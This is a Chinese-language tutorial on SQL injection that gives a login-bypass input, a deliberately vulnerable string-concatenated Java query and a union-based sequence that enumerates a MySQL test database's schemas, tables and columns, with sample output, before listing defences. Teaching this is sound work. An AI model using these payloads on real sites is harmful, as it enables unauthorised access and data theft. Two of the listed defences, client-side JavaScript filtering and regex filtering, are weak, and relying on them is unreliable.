1、概念
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)
SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,
实现无帐号登录,甚至篡改数据库。
2、操作
要求输入用户名和密码:
可以这样输入实现免帐号登录:
用户名: ‘or 1 = 1 –-+
密 码:xxx
后台认证程序中会有如下的SQL语句:
String sql = "select * from user where username=' "+userName+" ' and password=' "+password+" '";
然而加了‘or 1 = 1 –-+
SELECT * FROM user WHERE username=' ’ or 1 = 1 --+ and password='’
其他相关操作
select * from test where username = 'abc' or 1 = 1
select * from test where id = 1 order by 1-- + -- 成功
select * from test where id = 1 order by 2 -- 成功
select * from test where id = 1 order by 3 -- 成功
select * from test where id = 1 order by 4 -- 失败
select * from test where id = -1 union select 1,2,3 -- 报显示位,证明有三列
-- mis_online_exam5.7.18root@10.16.232.12
select * from test where id = -1 union select 1,concat_ws('~',database(),version(),user()),3-- +
-- 查询所有的数据库
-- information_schema,mis_online_exam,mysql,performance_schema,sys
select * from test where id = -1 union select 1,GROUP_CONCAT(schema_name),3
from information_schema.SCHEMATA
-- 查询当前库下存在的所有表
-- answer,paper,question,question_category,question_options,question_paper,question_type,test,user,user_manager
select * from test where id = -1 union select 1,GROUP_CONCAT(table_name),3
from information_schema.TABLES WHERE table_schema='mis_online_exam'
-- 查询列名
-- id_password_username
select * from test where id = -1 union select 1,GROUP_CONCAT(COLUMN_name separator '_'),3
from information_schema.COLUMNS WHERE table_name='test'
information_schema简介
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
3、应对方法
1、使用正则表达式过滤传入的参数
2、字符串过滤
3、使用JavaScript在客户端进行不安全字符屏蔽 功能介绍:检查是否含有”‘”,”\”,”/”
4、PreparedStatement 预编译处理
String sql = "insert into t select ?,?";
PreparedStatement statement = con.prepareStatement(sql);
statement.setInt(1, 123456);
statement.setString(2, "abc");
statement.executeUpdate();
statement.close();
5、权限控制
在创建一个SQL数据库的用户帐户时,要遵循最低权限法则。用户应只拥有使用其帐户的必要的最低特权。
如果系统显示需要用户可以读取和修改自己的数据,那么应该限制其特权,使他们无法读取/编写别人的数据。
网友评论